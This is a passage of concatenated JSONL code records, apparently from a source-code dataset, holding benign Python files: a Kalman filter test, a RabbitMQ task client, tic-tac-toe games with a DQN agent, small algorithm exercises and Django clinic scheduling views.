rospy.is_shutdown():\n\t\tproto.main()\n\t\tr.sleep()\n\n\t#message=SEND()\n\t#message.stop=True\n\t#proto.pub_send_all(message)\n","sub_path":"RI_AI_main/src/main_opponent.py","file_name":"main_opponent.py","file_ext":"py","file_size_in_byte":3763,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"435012822","text":"#Author: Ruiqi Zhong\n#Date: June 29\n#Description: A failed attempt to catch the bug in Pykalman\n\nimport numpy as np\nimport math\nimport PrototypeKalmanFilter as MyKF\nfrom numpy.random import multivariate_normal\nfrom pykalman import KalmanFilter\nfrom numpy import ma\n\ndef checkSymmetry(As):\n for A in As:\n np.testing.assert_allclose(A, A.T, rtol=1e-8)\n\n\nseqLength = 1000\ndataType = np.float64\nnp.random.seed(int(input(\"Enter random seed\\n\")))\nnp.set_printoptions(precision=25)\nfrom pykalman import KalmanFilter\nimport PrototypeKalmanFilter as MyKF\nA = np.array([[-0.9, 0.1], [0.1, 0.9]], dtype=dataType)\nB = np.array([[0,0], [0,0]], dtype=dataType)\nQ = np.array([[1, 0.3], [0.3, 1]], dtype=dataType)\nP_0 = np.copy(Q)\nR = np.array([[3, 0.5], [0.5, 3]], dtype=dataType)\nz_0 = np.array([5, 20], dtype=dataType)\narrayU = []\nfor _ in range(seqLength):\n arrayU += [np.abs(multivariate_normal(np.zeros(2, dtype=dataType), np.array([[3, 0], [0, 3]], dtype=dataType)))]\nkf = MyKF.MyKalmanFilter(2, A, B, arrayU, Q, R, z_0, P_0)\n[z, X] = kf.simulate()\nmasked = []\nfor i in range(seqLength):\n if (np.random.random() < 0.99):\n X[i] = None\n masked.append(i)\n\nfor i in masked:\n X[i] = np.zeros(2)\nX = np.asarray(X)\nX = ma.asarray(X)\nfor i in masked:\n X[i] = ma.masked\n\nkf = KalmanFilter(A, np.eye(2), Q, R, initial_state_mean=z_0, initial_state_covariance=P_0)\nkf.em(np.asarray(X), n_iter=1000)\n(filtered_state_means, filtered_state_covariances) = kf.filter(X)\n(smoothed_state_means, smoothed_state_covariances) = kf.smooth(X)\ncheckSymmetry(smoothed_state_covariances)\ncheckSymmetry(filtered_state_covariances)\n","sub_path":"KalmanFilterApproach/PykalmanTest.py","file_name":"PykalmanTest.py","file_ext":"py","file_size_in_byte":1631,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"289739614","text":"from undine.database.rabbitmq import RabbitMQConnector\nfrom undine.utils.exception import UndineException, VirtualMethodException\n\nimport json\nimport uuid\n\n\nclass BaseClient:\n def __init__(self, publish_task=None):\n if publish_task:\n self.publish_task = publish_task\n else:\n self.publish_task = self.__default_publish_task\n\n #\n # Private methods\n #\n def __default_publish_task(self, name, cid, iid, wid, report):\n task = {\n 'tid': self._get_uuid(),\n 'name': name,\n 'cid': cid,\n 'iid': iid,\n 'wid': wid,\n 'reportable': bool(report)\n }\n\n # Insert into remote host\n self._insert_task(task)\n\n return task['tid']\n\n #\n # Public methods\n #\n def publish_worker(self, name, command, arguments,\n worker_dir, file_input=True):\n worker = {\n 'wid': self._get_uuid(),\n 'name': name,\n 'command': command,\n 'arguments': arguments,\n 'worker_dir': worker_dir,\n 'file_input': bool(file_input)\n }\n\n self._insert_worker(worker)\n\n return worker['wid']\n\n def publish_input(self, name, items):\n inputs = {\n 'iid': self._get_uuid(),\n 'name': name,\n 'items': items if isinstance(items, str) else ','.join(items)\n }\n\n self._insert_input(inputs)\n\n return inputs['iid']\n\n def publish_config(self, name, content):\n config = {\n 'cid': self._get_uuid(),\n 'name': name,\n 'config': json.dumps(content)\n }\n\n self._insert_config(config)\n\n return config['cid']\n\n #\n # Protected inherited methods\n #\n @staticmethod\n def _get_uuid():\n return str(uuid.uuid4()).replace('-', '')\n\n def _insert_worker(self, _worker):\n raise VirtualMethodException(self.__class__, '_insert_worker')\n\n def _insert_input(self, _inputs):\n raise VirtualMethodException(self.__class__, '_insert_input')\n\n def _insert_config(self, _config):\n raise VirtualMethodException(self.__class__, '_insert_config')\n\n def _insert_task(self, _task):\n raise VirtualMethodException(self.__class__, '_insert_task')\n\n\nclass BaseNetworkClient(BaseClient):\n def __init__(self, task_queue):\n BaseClient.__init__(self, self.__default_publish_task_with_mid)\n\n if task_queue is None:\n raise UndineException('Missing RabbitMQ option field (task_queue)')\n\n self._queue = RabbitMQConnector(task_queue, consumer=False)\n\n #\n # Private methods\n #\n def __default_publish_task_with_mid(self, name, cid, iid, wid, mid, report):\n task = {\n 'tid': self._get_uuid(),\n 'name': name,\n 'cid': cid,\n 'iid': iid,\n 'wid': wid,\n 'mid': mid,\n 'reportable': report\n }\n\n # Insert into remote host\n self._insert_task(task)\n\n # Insert useful task information into rabbitmq task queue\n del task['name'], task['mid'], task['reportable']\n\n self._queue.publish(json.dumps({'tid': task['tid']}))\n\n return task['tid']\n\n #\n # Protected inherited method\n #\n def _insert_mission(self, _mission):\n raise VirtualMethodException(self.__class__, '_insert_mission')\n\n #\n # Public methods\n #\n def publish_mission(self, name, email, description):\n mission = {\n 'mid': self._get_uuid(),\n 'name': name,\n 'email': email,\n 'description': description\n }\n\n self._insert_mission(mission)\n\n return mission['mid']\n","sub_path":"undine/api/database/base_client.py","file_name":"base_client.py","file_ext":"py","file_size_in_byte":3730,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"4315941","text":"# Map \"pilotType\" (defined in harvester) to prodSourceLabel and pilotType option (defined in pilot, -i option)\n# and piloturl (pilot option --piloturl) for pilot 2\ndef get_complicated_pilot_options(pilot_type, pilot_url=None, pilot_version=None):\n # for pilot 3\n is_pilot3 = True if pilot_version.startswith('3') else False\n # map\n # 211012 currently only RC and PT may run pilot 3\n pt_psl_map = {\n 'RC': {\n 'prod_source_label': 'rc_test2',\n 'pilot_type_opt': 'RC',\n 'pilot_url_str': '--piloturl http://cern.ch/atlas-panda-pilot/pilot3-dev.tar.gz' if is_pilot3 \\\n else '--piloturl http://cern.ch/atlas-panda-pilot/pilot2-dev.tar.gz',\n },\n 'ALRB': {\n 'prod_source_label': 'rc_alrb',\n 'pilot_type_opt': 'ALRB',\n 'pilot_url_str': '',\n },\n 'PT': {\n 'prod_source_label': 'ptest',\n 'pilot_type_opt': 'PR',\n 'pilot_url_str': '--piloturl http://cern.ch/atlas-panda-pilot/pilot3-dev2.tar.gz' if is_pilot3 \\\n else '--piloturl http://cern.ch/atlas-panda-pilot/pilot2-dev.tar.gz',\n },\n }\n pilot_opt_dict = pt_psl_map.get(pilot_type, None)\n if pilot_url and pilot_opt_dict:\n pilot_opt_dict['pilot_url_str'] = '--piloturl {0}'.format(pilot_url)\n return pilot_opt_dict\n\n# get special flag of pilot wrapper about python version of pilot, and whether to run with python 3 if python version is \"3\"\ndef get_python_version_option(python_version, prod_source_label):\n option = ''\n if python_version.startswith('3'):\n option = '--pythonversion 3'\n return option\n","sub_path":"pandaharvester/harvestersubmitter/submitter_common.py","file_name":"submitter_common.py","file_ext":"py","file_size_in_byte":1821,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"8252573","text":"'''\n# Xs and Os and Deep Reinforcement Learning\n### Deep Q-Learning using an Open AI Gym-like Environment\n\nConcise working example of Deep Q-learning applied to an environment similar to gym/envs/toy_text/ in ai gym\n\n\n#### References\n\n- OpenAI gym: https://github.com/openai/gym/\n- Keras-RL: https://github.com/keras-rl/keras-rl\n- DQNs: https://www.nature.com/articles/nature14236\n- Keras: https://keras.io/\n\n\nCopyright (C) 2018 Pathway Intelligence Inc\n\nAuthor: Robin Chauhan\n\nLicense: The MIT License\n\n\n'''\n\nimport numpy as np\nfrom gym import Env, spaces\n\nfrom gym.utils import seeding\nfrom random import randint\n\nfrom rlparts import *\n\n\n\nclass HumanAgentXos(object):\n\t'''\n\tTake in keyboard input to select square.\n\t'''\n\n\tdef __init__(self, action_space):\n\t\tself.action_space = action_space\n\t\t#print(self.action_space)\n\n\tdef forward(self,observation):\n\t\treturn self.act(observation,None,None)\n\n\tdef act(self, observation, reward, done):\n\t\tprint(observation)\n\t\t#print(\" 1 2 3\\n 4 5 6\\n 7 8 9\")\n\t\tprint(\" 7 8 9\\n 4 5 6\\n 1 2 3\")\n\t\trm = input(\"Move 1-9: \")\n\t\trm = int(rm)-int('1')\n\n\t\t# convert from keypad positions to matrix positions\n\t\trow = rm // 3\n\t\tcol = rm - row * 3\n\t\tprint ( row, col )\n\t\trow2 = 2-row\n\n\t\trm2 = row2*3 + col\n\n\t\treturn rm2\n\n\n\nclass BinaryBoardEnv(Env):\n\t'''\n\t'''\n\tdef seed(self, seed=42):\n\t\tself.np_random, seed = seeding.np_random(seed)\n\t\treturn [seed]\n\n\tdef reset(self):\n\t\tboard = None\n\n\t\tself.board = np.zeros((self.wid, self.ht))\n\t\tself.self_side=1\n\t\tself.turn_side=randint(0,1)*-2 + 1\n\t\tself.done=False\n\n\t\treturn self.board\n\n\tdef obs(self):\n\t\treturn self.board\n\n\n\n\tdef render_pretty(self):\n\t\tfor row in range(0,self.ht):\n\t\t\tfor col in range(0,self.wid):\n\t\t\t\tval = self.board[row,col]\n\t\t\t\tif val==1:\n\t\t\t\t\tprint('X',end=' ')\n\t\t\t\telif val==-1:\n\t\t\t\t\tprint('O',end=' ')\n\t\t\t\telse:\n\t\t\t\t\tprint('-',end=' ')\n\t\t\tprint(\"\\n\")\n\n\tdef render(self,mode='human'):\n\t\tprint(self.board)\n\n\t# full step, including \"our\" turn and opponent's turn\n\tdef step(self, action, verbose=False):\n\n\t\tdone=False\n\n\t\tif self.turn_side==1:\n\n\t\t\t# our player steps first\n\t\t\tboard, reward, done, info = self._step(action,1)\n\n\t\t\tif verbose:\n\t\t\t\tenv.render_pretty()\n\n\t\t\tif not done:\n\t\t\t\t# opponent turn\n\t\t\t\t#action = self.opponent_agent.act(self.board, reward, done)\n\t\t\t\taction = self.opponent_agent.forward(self.board)\n\t\t\t\tif verbose:\n\t\t\t\t\tenv.render_pretty()\n\n\t\t\t\tboard, reward, done, info = self._step(action,-1)\n\t\t\t\tif verbose:\n\t\t\t\t\tenv.render_pretty()\n\n\t\t\treturn board, reward, done, info\n\n\t\telse:\n\n\t\t\t# opponent turn\n\t\t\t# action = self.opponent_agent.act(self.board, reward, done)\n\t\t\taction = self.opponent_agent.forward(self.board)\n\t\t\tboard, reward, done, info = self._step(action, -1)\n\n\t\t\treturn board, reward, done, info\n\n\n\tdef win_no(self):\n\t\tself.done=True\n\t\t#print(\"LOSE\")\n\t\treturn -1\n\n\tdef win_yes(self):\n\t\tself.done=True\n\t\t#print(\"WIN\")\n\t\treturn 1\n\n\n\n\nclass XosEnv(BinaryBoardEnv):\n\t'''\n\tConnect-4 board and rules.\n\t'''\n\n\tboard = None\n\twid = 3\n\tht = 3\n\twinlen = 3\n\n\tside = 1\n\tdone = False\n\n\topponent_agent = None\n\n\tinvalid = 0 # consecutive invalid moves\n\n\tdef __init__(self):\n\n\t\tself.nA = [ self.wid * self.ht ]\n\t\tself.nS = [ self.wid * self.ht ]\n\n\t\tself.action_space = spaces.Discrete(self.nA[0])\n\t\tself.observation_space = spaces.MultiDiscrete(self.nS)\n\n\t\tself.seed()\n\t\tself.reset()\n\n\n\tdef action_is_valid(self,action):\n\t\t#print(action)\n\t\tif self.done:\n\t\t\tprint(\"No more moves, Game over\")\n\t\t\treturn False\n\n\t\tif action<0 or action>self.wid*self.ht-1:\n\t\t\tprint('Invalid action, move location out of range')\n\t\t\treturn False #\n\n\t\trow = action // self.wid\n\t\tcol = action - row * self.wid\n\t\tif self.board[row,col] != 0:\n\t\t\t#print(\"Invalid move, not empty\")\n\t\t\tself.invalid+=1\n\t\t\tif self.invalid > 10:\n\t\t\t\t#print(\"MANY\")\n\t\t\t\tpass\n\t\t\treturn False\n\n\t\tself.invalid=0\n\n\t\treturn True\n\n\tdef _step(self, action, side):\n\n\t\treward = 0.0\n\t\tif not self.action_is_valid(action):\n\t\t\tprint('invalid action penalty %d'% action)\n\n\t\t\t# dont punish us for opponent's move\n\t\t\tif side == -1:\n\t\t\t\treward=0.0\n\t\t\telse:\n\t\t\t\treward=-5.0 * self.turn_side\n\t\t\tself.done = True\n\t\telse:\n\t\t\trow = action // self.wid\n\t\t\tcol = action - row * self.wid\n\n\t\t\tself.board[row,col] = side\n\t\t\t#print(row,col)\n\n\t\t\tw=self.wincheck()\n\t\t\tif w==1:\n\t\t\t\treward =1.0\n\t\t\t\tself.done=True\n\t\t\telif w==-1:\n\n\t\t\t\treward =-3.0\n\t\t\t\tself.done=True\n\t\t\telif w==-100: # board is full\n\t\t\t\treward = 0\n\t\t\t\tself.done=True\n\n\t\t# change sides\n\t\tself.turn_side=self.turn_side* -1\n\t\tself.lastaction = action\n\n\t\tinfo = {}\n\n\t\treturn (self.board, reward, self.done, info )\n\n\tdef wincheck(self):\n\t\t#print(\"sums:\")\n\t\trs = np.sum( self.board, axis=0)\n\t\tcs = np.sum( self.board, axis=1)\n\t\t#print(rs)\n\t\t#print(cs)\n\n\t\t# check rows\n\t\tif np.max(rs)==self.winlen:\n\t\t\treturn self.win_yes()\n\t\tif np.min(rs)== -1*self.winlen:\n\t\t\treturn self.win_no()\n\n\t\t# check columns\n\t\tif np.max(cs)==self.winlen:\n\t\t\treturn self.win_yes()\n\t\tif np.min(cs)==-1*self.winlen:\n\t\t\treturn self.win_no()\n\n\t\t# check diagonals\n\t\td1 = np.sum( np.diag( self.board ) )\n\t\td2 = np.sum( np.diag(np.fliplr(self.board)) )\n\n\t\tif np.sum(d1)==self.winlen:\n\t\t\treturn self.win_yes()\n\t\tif np.sum(d1)==-1*self.winlen:\n\t\t\treturn self.win_no()\n\t\tif np.sum(d2)==self.winlen:\n\t\t\treturn self.win_yes()\n\t\tif np.sum(d2)==-1*self.winlen:\n\t\t\treturn self.win_no()\n\n\t\t# check for board full\n\t\tall = np.sum( np.sum( np.abs( self.board), axis=0) )\n\t\t#print('sum:',all)\n\t\tif all == self.wid * self.ht:\n\t\t\t#print(\"DRAW\")\n\t\t\tself.done=True\n\t\t\treturn -100\n\n\t\t#print(\"No win yet\")\n\t\treturn 0\n\n\n\n\nimport keras\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Activation, Flatten, Convolution2D, Permute, Add, Lambda\nfrom keras.optimizers import Adam\nimport keras.backend as K\n\n\nfrom rl.agents.dqn import DQNAgent\nfrom rl.policy import LinearAnnealedPolicy, BoltzmannQPolicy, EpsGreedyQPolicy\nfrom rl.memory import SequentialMemory\nfrom rl.core import Processor\nfrom rl.callbacks import FileLogger, ModelIntervalCheckpoint\nfrom keras.layers import Dense, Input, GlobalMaxPooling1D, InputLayer\n\nimport random\n\n\n\ndef get_dqn_agent(side=1.0):\n\t'''\n\tprepare a fresh agent\n\t'''\n\n\tprocessor = DummyProcessor()\n\tinput_shape = (3,3)\n\n\tinput_x = Input(shape=(1,) + input_shape)\n\n\t# When instantiating agent network, multiply board\n\t# by -1 or +1 depending on which side agent is playing.\n\t# This allows agent to otherwise be ambivalent to side.\n\tintput_x_sidenorm = Lambda(lambda x: x * side)(input_x)\n\n\tinput_x_flat = Flatten()(intput_x_sidenorm)\n\tx = Dense(200)(input_x_flat)\n\tx= Activation('relu')(x)\n\tx = Dense(40)(x)\n\tx = Activation('relu')(x)\n\tx= keras.layers.concatenate([x,input_x_flat,input_x_flat]) # highway\n\tx = Dense(env.action_space.n)(x)\n\tpredictions = Activation('linear')(x)\n\tmodel = keras.models.Model(inputs=input_x, outputs=predictions )\n\n\tprint(model.summary())\n\n\t# see https://github.com/keras-rl/keras-rl/blob/master/examples/duel_dqn_cartpole.py\n\tmemory = SequentialMemory(limit=50000, window_length=1)\n\tpolicy = EpsGreedyQPolicy(0.005)\n\tdqn = DQNAgent(model=model, nb_actions=env.action_space.n, memory=memory, nb_steps_warmup=1000,\n\t target_model_update=1000, policy=policy, enable_double_dqn=True)\n\tdqn.compile(Adam(lr=1e-4), metrics=['mae'])\n\treturn dqn\n\n'''\nTRAIN_RANDOM: Learn against RandomAgent\nTRAIN_SELF: Learn against static replicas of itself (actually, a ChaosDqnAgent)\n\nTypical training regime is:\n\n1) TRAIN_RANDOM until it gets to static performance, understands bad moves, gets started\n2) TRAIN_SELF to work on deeper levels\n3) HUMAN\n\n'''\n\nif __name__ == \"__main__\":\n\n\n\tregime = Regime()\n\tenv = XosEnv()\n\tmodelpath= '/tmp/tictactoh3x3_model3.hd5'\n\tregime.init(env,True,modelpath,get_dqn_agent,STEPS_FIT = 3000)\n\n\t# mode = \"TRAIN_RANDOM\"\n\t# mode = \"TRAIN_SELF\"\n\tmode = \"HUMAN\"\n\n\tif mode==\"HUMAN\":\n\t\tregime.test_human()\n\n\telif mode==\"TRAIN_RANDOM\":\n\t\tregime.train_random()\n\n\telif mode == \"TRAIN_SELF\":\n\t\tregime.train_self()\n","sub_path":"alphaxos.py","file_name":"alphaxos.py","file_ext":"py","file_size_in_byte":7835,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"94933199","text":"import random\r\n\r\nsimbolos = ['X', 'O'] # Símbolos utilizados pelos jogadores\r\nvaloresValidos = ['0','1','2'] # Posições válidas de linha ou coluna no tabuleiro\r\nvelha = 9 # Após 9 movimentos sem vencedor, deu velha (empate)\r\n\r\n# Mensagem de Boas-Vindas\r\ndef bemVindo(nomeGrupo):\r\n print('Bem vindo ao JogoDaVelha do grupo {}' .format(nomeGrupo))\r\n\r\n# Solicita do jogador qual símbolo ele deseja utilizar na partida, retornando uma lista\r\n# contendo o simbolo do jogador e o simbolo do segundo jogador, respectivamente.\r\ndef solicitaSimboloDoHumano() :\r\n\r\n while True :\r\n simbolo = input('Qual símbolo você deseja utilizar no jogo? ').upper()\r\n if simbolo not in simbolos :\r\n print('Símbolo inválido. Escolha {} ou {}.' .format(simbolos[0], simbolos[1]))\r\n else: break\r\n\r\n if simbolo == simbolos[0]:\r\n return ['X', 'O']\r\n else:\r\n return ['O', 'X']\r\n\r\n\r\n# Sorteia quem iniciará a partida\r\ndef sorteioPrimeiraJogada(nomeJogador) :\r\n return random.choice([nomeJogador, 'Computador'])\r\n\r\ndef jogadaHumana(tabuleiro, simbolo, jogada) :\r\n aux = jogada.split()\r\n tabuleiro[int(aux[0])][int(aux[1])] = simbolo\r\n return tabuleiro\r\n\r\n# Jogada do computador (posição vazia aleatória)\r\ndef jogadaComputador(tabuleiro, simbolo):\r\n\r\n while True:\r\n jogada = [random.choice([0, 1, 2]), random.choice([0, 1, 2])]\r\n if tabuleiro[jogada[0]][jogada[1]] == ' ' :\r\n tabuleiro[jogada[0]][jogada[1]] = simbolo\r\n break\r\n return tabuleiro\r\n\r\ndef validaJogada(tabuleiro, jogada) :\r\n aux = jogada.split()\r\n if len(aux) != 2 :\r\n return False\r\n elif (aux[0] not in valoresValidos) or (aux[1] not in valoresValidos) :\r\n return False\r\n else:\r\n if tabuleiro[int(aux[0])][int(aux[1])] == ' ' :\r\n return True\r\n else:\r\n return False\r\n\r\n# Verifica se houve vencedor ou o jogo terminou empataddo\r\ndef verificaVencedor(tabuleiro, jogador, jogadas) :\r\n mostraTabuleiro(tabuleiro)\r\n if (jogador[1] == tabuleiro[0][0] == tabuleiro[0][1] == tabuleiro[0][2]) or (jogador[1] == tabuleiro[1][0] == tabuleiro[1][1] == tabuleiro[1][2]) or (jogador[1] == tabuleiro[2][0] == tabuleiro[2][1] == tabuleiro[2][2]) or (jogador[1] == tabuleiro[0][0] == tabuleiro[1][0] == tabuleiro[2][0]) or (jogador[1] == tabuleiro[0][1] == tabuleiro[1][1] == tabuleiro[2][1]) or (jogador[1] == tabuleiro[0][2] == tabuleiro[1][2] == tabuleiro[2][2]) or (jogador[1] == tabuleiro[0][0] == tabuleiro[1][1] == tabuleiro[2][2]) or (jogador[1] == tabuleiro[0][2] == tabuleiro[1][1] == tabuleiro[2][0]) :\r\n print('Vencedor: {}' .format(jogador[0]))\r\n return True\r\n elif jogadas == velha :\r\n print('Deu Velha!')\r\n return True\r\n else :\r\n return False\r\n\r\n# Imprime o tabuleiro na tela, com cada posição separado por uma barra ('|')\r\ndef mostraTabuleiro(tabuleiro) :\r\n print(tabuleiro[0][0] + ' | ' + tabuleiro[0][1] + ' | ' + tabuleiro[0][2])\r\n print(tabuleiro[1][0] + ' | ' + tabuleiro[1][1] + ' | ' + tabuleiro[1][2])\r\n print(tabuleiro[2][0] + ' | ' + tabuleiro[2][1] + ' | ' + tabuleiro[2][2])\r\n","sub_path":"moodledata/vpl_data/429/usersdata/314/106441/submittedfiles/jogoDaVelha_BIB.py","file_name":"jogoDaVelha_BIB.py","file_ext":"py","file_size_in_byte":3202,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"146763443","text":"import queue as q\nimport math\n\nN, L ,R = map(int,input().split())\n\narr = []\nfor i in range(N):\n temp = list(map(int,input().split()))\n arr.append(temp)\n\nanswer = 0\nmove = [[0,1],[1,0],[0,-1],[-1,0]]\nwhile True:\n visit = [[0 for i in range(N)] for i in range(N)]\n summation = []\n for i in range(N):\n for j in range(N):\n q_arr = q.Queue()\n connect = []\n if(visit[i][j] == 1):\n continue\n visit[i][j] = 1\n q_arr.put([i,j,arr[i][j]])\n while(not q_arr.empty()):\n y,x,val = q_arr.get()\n connect.append([y,x])\n for yp,xp in move:\n newx = x+xp\n newy = y+yp\n if(newx == N or newy == N or newx < 0 or newy < 0):\n continue\n if(visit[newy][newx] == 1):\n continue\n if(abs(arr[newy][newx]-val) >= L and abs(arr[newy][newx]-val) <= R):\n q_arr.put([newy,newx,arr[newy][newx]])\n visit[newy][newx] = 1\n if(len(connect)>1):\n summation.append(connect)\n #국경 철폐\n \n if(len(summation) == 0):\n break\n\n for val in summation:\n sum_val = 0\n cnt = len(val)\n for y,x in val:\n sum_val += arr[y][x]\n value = math.floor(sum_val / cnt)\n for y,x in val:\n arr[y][x] = value\n #인구 이동\n answer += 1\n\nprint(answer)","sub_path":"boj/16234.py","file_name":"16234.py","file_ext":"py","file_size_in_byte":1531,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"551895230","text":"#!/usr/bin/env python\n#-*- coding:utf-8 -*-\ndef checkio(expression):\n b_com = ''\n brackets = '{}[]()'\n for i in expression:\n if i in brackets:\n b_com += i\n\n if len(b_com) %2 != 0:\n return False\n else:\n for j in range(len(b_com)//2):\n if b_com[j]+b_com[len(b_com)-1-j] not in ['[]','{}','()']:\n return False\n else:\n continue\n return True\n\nif __name__ == '__main__':\n print(checkio(\"((5+3)*2+1)}\"))","sub_path":"checkio_exercise/brackets.py","file_name":"brackets.py","file_ext":"py","file_size_in_byte":505,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"425795793","text":"import execnet\r\ngw = execnet.makegateway(\"popen//python=C:\\\\jython2.7.0\\\\bin\\\\jython\")\r\nchannel = gw.remote_exec(\"\"\"\r\n from java.util import Vector\r\n v = Vector()\r\n v.add('aaa')\r\n v.add('bbb')\r\n for val in v:\r\n channel.send(val)\r\n\"\"\")\r\n\r\nfor item in channel:\r\n print (item)\r\n\r\n# import java.util","sub_path":"learning/execnet/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":320,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"307089054","text":"import numpy as np\nimport math\nimport matplotlib.pyplot as plt\n\nrot = math.pi/2 #逆时针旋转角度\n\nx = [1, 2, 3, 1]\ny = [1, 3, 0, 1]\n\nA = np.array([(math.cos(rot), -math.sin(rot)), (math.sin(rot), math.cos(rot))]) # 变换矩阵\npoints = list(zip(x, y))\nx1 = []\ny1 = []\nfor p in points:\n p = np.array(p)\n p.shape = (2,1)\n np.transpose(p)\n p = np.dot(A, p)\n p.shape = (1, 2)\n np.transpose(p)\n x1.append(p[0][0])\n y1.append(p[0][1])\n\n\nplt.plot(x,y, x1,y1)\nplt.grid(True, color = 'r')\nplt.show()\n\n","sub_path":"matplotlib/三角形旋转.py","file_name":"三角形旋转.py","file_ext":"py","file_size_in_byte":523,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"592295630","text":"from django.shortcuts import render\n\nfrom clinic.models import Clinic, TimeSlot # BasicUser, ClinicRepresentative\nfrom clinic.serializers import (\n # BasicUserSerializer,\n # ClinicRepresentativeSerializer,\n ClinicSerializer,\n TimeSlotSerializer,\n)\nfrom rest_framework import generics\n\nfrom rest_framework.decorators import api_view\nfrom rest_framework.response import Response\nfrom rest_framework.reverse import reverse\nfrom django.views import generic\nfrom clinic.forms import (\n TimeslotCreateForm,\n TimeslotReserveForm,\n TimeslotClinicReserveForm,\n)\nfrom django.contrib.auth.decorators import login_required\nfrom django.utils.decorators import method_decorator\nfrom users.decorators import rep_required, basic_required\nfrom django.utils import timezone\nfrom django.contrib import messages\n\n\n@api_view([\"GET\"])\ndef api_root(request, format=None):\n return Response(\n {\n \"users\": reverse(\"user-list\", request=request, format=format),\n # \"basic-users\": reverse(\"basicuser-list\", request=request, format=format),\n # \"representatives\": reverse(\n # \"clinicrepresentative-list\", request=request, format=format\n # ),\n \"timeslots\": reverse(\"timeslot-list\", request=request, format=format),\n \"clinics\": reverse(\"clinic-list\", request=request, format=format),\n \"available-timeslots\": reverse(\n \"available-timeslots-list\", request=request, format=format\n ),\n }\n )\n\n\nclass ClinicList(generics.ListCreateAPIView):\n queryset = Clinic.objects.all()\n serializer_class = ClinicSerializer\n\n\nclass ClinicDetail(generics.RetrieveUpdateDestroyAPIView):\n queryset = Clinic.objects.all()\n serializer_class = ClinicSerializer\n\n\nclass TimeSlotList(generics.ListCreateAPIView):\n queryset = TimeSlot.objects.all()\n serializer_class = TimeSlotSerializer\n\n\nclass TimeSlotDetail(generics.RetrieveUpdateDestroyAPIView):\n queryset = TimeSlot.objects.all()\n serializer_class = TimeSlotSerializer\n\n\n# class ClinicRepresentativeList(generics.ListCreateAPIView):\n# queryset = ClinicRepresentative.objects.all()\n# serializer_class = ClinicRepresentativeSerializer\n\n\n# class ClinicRepresentativeDetail(generics.RetrieveUpdateDestroyAPIView):\n# queryset = ClinicRepresentative.objects.all()\n# serializer_class = ClinicRepresentativeSerializer\n\n\n# class BasicUserList(generics.ListCreateAPIView):\n# queryset = BasicUser.objects.all()\n# serializer_class = BasicUserSerializer\n\n\n# class BasicUserDetail(generics.RetrieveUpdateDestroyAPIView):\n# queryset = BasicUser.objects.all()\n# serializer_class = BasicUserSerializer\n\n\nclass availableTimeSlotsList(generics.ListAPIView):\n serializer_class = TimeSlotSerializer\n\n def get_queryset(self):\n \"\"\"\n this view should return a list of all available\n timeslots for all clinics\n and Optionally restricts the returned slots to a given clinic,\n by filtering against a `clinic_name` query parameter in the URL.\n \"\"\"\n queryset = TimeSlot.objects.filter(reserver=None)\n clinic_name = self.request.query_params.get(\"clinic_name\", None)\n if clinic_name is not None:\n queryset = queryset.filter(clinic__name__contains=clinic_name)\n return queryset\n\n\ndef index(request):\n clinics = Clinic.objects.all()\n\n context = {\"clinics\": clinics}\n\n return render(request, \"clinic/index.html\", context=context)\n\n\nclass ClinicDetailView(generic.DetailView):\n model = Clinic\n\n\n@method_decorator(rep_required, name=\"dispatch\")\n@method_decorator(login_required, name=\"dispatch\")\nclass TimeslotCreateView(generic.CreateView):\n model = TimeSlot\n form_class = TimeslotCreateForm\n success_url = \"/\"\n\n def get_form_kwargs(self):\n kwargs = super(TimeslotCreateView, self).get_form_kwargs()\n if self.request.method == \"GET\":\n kwargs.update({\"user\": self.request.user})\n return kwargs\n\n\nclass ClinicListView(generic.ListView):\n \"\"\"Generic class-based list view for a list of clinics.\"\"\"\n\n model = Clinic\n ordering = \"name\"\n paginate_by = 15\n queryset = Clinic.objects.prefetch_related(\"time_slots\")\n\n\n@method_decorator(basic_required, name=\"dispatch\")\n@method_decorator(login_required, name=\"dispatch\")\nclass UserReservedTimeSlotsList(generic.ListView):\n \"\"\"Generic class-based list view for a list of clinics.\"\"\"\n\n model = TimeSlot\n ordering = \"start_time\"\n paginate_by = 15\n template_name = \"clinic/timeslot_list_user.html\"\n\n def get_queryset(self):\n user = self.request.user\n return TimeSlot.objects.filter(reserver=user)\n\n\n@method_decorator(basic_required, name=\"dispatch\")\n@method_decorator(login_required, name=\"dispatch\")\nclass UserPastReservedTimeSlotsList(generic.ListView):\n \"\"\"Generic class-based list view for a list of clinics.\"\"\"\n\n model = TimeSlot\n ordering = \"start_time\"\n paginate_by = 15\n\n def get_queryset(self):\n user = self.request.user\n\n now = timezone.now()\n\n return TimeSlot.objects.filter(reserver=user, end_time__lt=(now))\n\n\n@method_decorator(rep_required, name=\"dispatch\")\n@method_decorator(login_required, name=\"dispatch\")\nclass ClinicReservedTimeSlotsList(generic.ListView):\n \"\"\"Generic class-based list view for a list of clinics.\"\"\"\n\n model = TimeSlot\n ordering = \"start_time\"\n paginate_by = 15\n\n def get_queryset(self):\n user = self.request.user\n return TimeSlot.objects.filter(pk=self.kwargs.get(\"pk\"))\n\n\n@method_decorator(rep_required, name=\"dispatch\")\n@method_decorator(login_required, name=\"dispatch\")\nclass ClinicPastReservedTimeSlotsList(generic.ListView):\n \"\"\"Generic class-based list view for a list of clinics.\"\"\"\n\n model = TimeSlot\n ordering = \"start_time\"\n paginate_by = 15\n\n def get_queryset(self):\n user = self.request.user\n\n now = timezone.now()\n\n return TimeSlot.objects.filter(pk=self.kwargs.get(\"pk\"), 